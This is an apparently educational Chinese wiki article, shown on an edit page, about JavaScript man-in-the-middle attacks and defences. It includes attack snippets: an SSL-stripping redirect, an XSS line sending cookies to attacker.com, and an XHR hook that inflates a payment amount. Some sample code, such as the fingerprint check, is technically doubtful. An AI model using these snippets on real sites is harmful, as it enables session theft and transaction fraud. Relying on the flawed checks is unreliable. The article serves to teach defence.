跳转到内容
主菜单
主菜单
移至侧栏
隐藏
导航
首页
最近更改
随机页面
MediaWiki帮助
代码酷
搜索
搜索
中文(中国大陆)
外观
创建账号
登录
个人工具
创建账号
登录
未登录编辑者的页面
了解详情
贡献
讨论
编辑“︁
Javascript中间人攻击
”︁(章节)
页面
讨论
大陆简体
阅读
编辑
编辑源代码
查看历史
工具
工具
移至侧栏
隐藏
操作
阅读
编辑
编辑源代码
查看历史
常规
链入页面
相关更改
特殊页面
页面信息
外观
移至侧栏
隐藏
您的更改会在有权核准的用户核准后向读者展示。
警告:
您没有登录。如果您进行任何编辑,您的IP地址会公开展示。如果您
登录
或
创建账号
,您的编辑会以您的用户名署名,此外还有其他益处。
反垃圾检查。
不要
加入这个!
== JavaScript中间人攻击 == '''JavaScript中间人攻击'''(Man-in-the-Middle Attack,简称MITM)是一种网络安全攻击方式,攻击者在通信双方之间秘密拦截、篡改或窃取数据。在JavaScript环境中,这类攻击通常针对Web应用与服务器之间的HTTP/HTTPS通信,或客户端脚本与API的交互过程。 === 基本概念 === 中间人攻击的核心原理是攻击者通过某种方式插入到通信链路中,使通信双方误以为他们直接与对方通信,但实际上所有数据都经过攻击者中转。JavaScript作为客户端脚本语言,常因以下场景成为攻击目标: * 未加密的HTTP连接 * 配置错误的HTTPS证书 * 恶意第三方脚本注入 * 公共Wi-Fi等不安全网络环境 <mermaid> sequenceDiagram participant Client participant Attacker participant Server Client->>Attacker: 发送请求(被拦截) Attacker->>Server: 转发修改后的请求 Server->>Attacker: 返回响应(被拦截) Attacker->>Client: 返回修改后的响应 </mermaid> === 攻击类型 === ==== 1. SSL剥离 ==== 将HTTPS连接降级为HTTP: <syntaxhighlight lang="javascript"> // 恶意重定向示例(攻击者脚本) if (window.location.protocol === 'https:') { window.location.href = 'http://' + window.location.host + window.location.pathname; } </syntaxhighlight> ==== 2. 会话劫持 ==== 窃取Cookie或会话令牌: <syntaxhighlight lang="javascript"> // 通过XSS窃取Cookie的恶意脚本 new Image().src = 'http://attacker.com/steal?cookie=' + document.cookie; </syntaxhighlight> ==== 3. API请求篡改 === 修改AJAX请求/响应: <syntaxhighlight lang="javascript"> // 原生XMLHttpRequest劫持示例 const originalSend = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.send = function(body) { if (this.url.includes('/api/payment')) { body = body.replace('amount=100', 'amount=1000'); // 修改交易金额 } originalSend.call(this, body); }; </syntaxhighlight> === 防御措施 === {| class="wikitable" |+ 防御技术对比 ! 方法 !! 实现方式 !! 有效性 |- | HTTPS || 全站TLS加密 || ★★★★★ |- | CSP || Content-Security-Policy头 || ★★★★☆ |- | HSTS || Strict-Transport-Security头 || ★★★★★ |- | 证书钉扎 || Public-Key-Pins头 || ★★★☆☆ |} ==== 代码示例:HTTPS强制跳转 === <syntaxhighlight lang="javascript"> // 前端HTTPS强制实现 if (location.protocol !== 'https:' && !location.hostname.match(/^localhost|127\.0\.0\.1$/)) { location.replace(`https://${location.host}${location.pathname}`); } </syntaxhighlight> === 数学原理 === 中间人攻击成功的概率模型: <math> P_{success} = \prod_{i=1}^{n} (1 - P_{defense_i}) \times P_{exploit} </math> 其中: * <math>P_{defense_i}</math> 是第i层防御的有效性概率 * <math>P_{exploit}</math> 是漏洞利用成功率 === 真实案例 === '''案例:银行网站中间人攻击(2019)''' 攻击者通过公共Wi-Fi注入恶意JS脚本: 1. 将转账API请求从`POST /transfer`重定向到攻击者服务器 2. 修改请求参数后转发给真实银行API 3. 拦截响应并删除交易记录显示 === 检测方法 === * 使用浏览器开发者工具检查网络请求 * 验证证书指纹: <syntaxhighlight lang="javascript"> // 检查证书指纹 fetch('https://example.com') .then(res => { const cert = res.headers.get('x-certificate-fingerprint'); if (cert !== 'EXPECTED_FINGERPRINT') { console.error('证书可能被篡改!'); } }); </syntaxhighlight> === 高级防护 === 对于敏感操作建议添加: * 时间戳签名验证 * 请求参数哈希校验 * 二次认证确认 <syntaxhighlight lang="javascript"> // 请求签名示例 function generateSignature(params, secret) { const str = Object.keys(params) .sort() .map(k => `${k}=${params[k]}`) .join('&'); return CryptoJS.HmacSHA256(str, secret).toString(); } </syntaxhighlight> === 总结 === JavaScript中间人攻击是Web安全的主要威胁之一,开发者应当: # 始终使用HTTPS # 实施严格的内容安全策略 # 验证所有第三方资源 # 对敏感操作添加额外验证层 通过理解攻击原理和实现适当的防御措施,可以显著降低此类安全风险。 [[Category:编程语言]] [[Category:JavaScript]] [[Category:Javascript安全]]
摘要:
请注意,所有对代码酷的贡献均被视为依照知识共享署名-非商业性使用-相同方式共享发表(详情请见
代码酷:著作权
)。如果您不希望您的文字作品被随意编辑和分发传播,请不要在此提交。
您同时也向我们承诺,您提交的内容为您自己所创作,或是复制自公共领域或类似自由来源。
未经许可,请勿提交受著作权保护的作品!
取消
编辑帮助
(在新窗口中打开)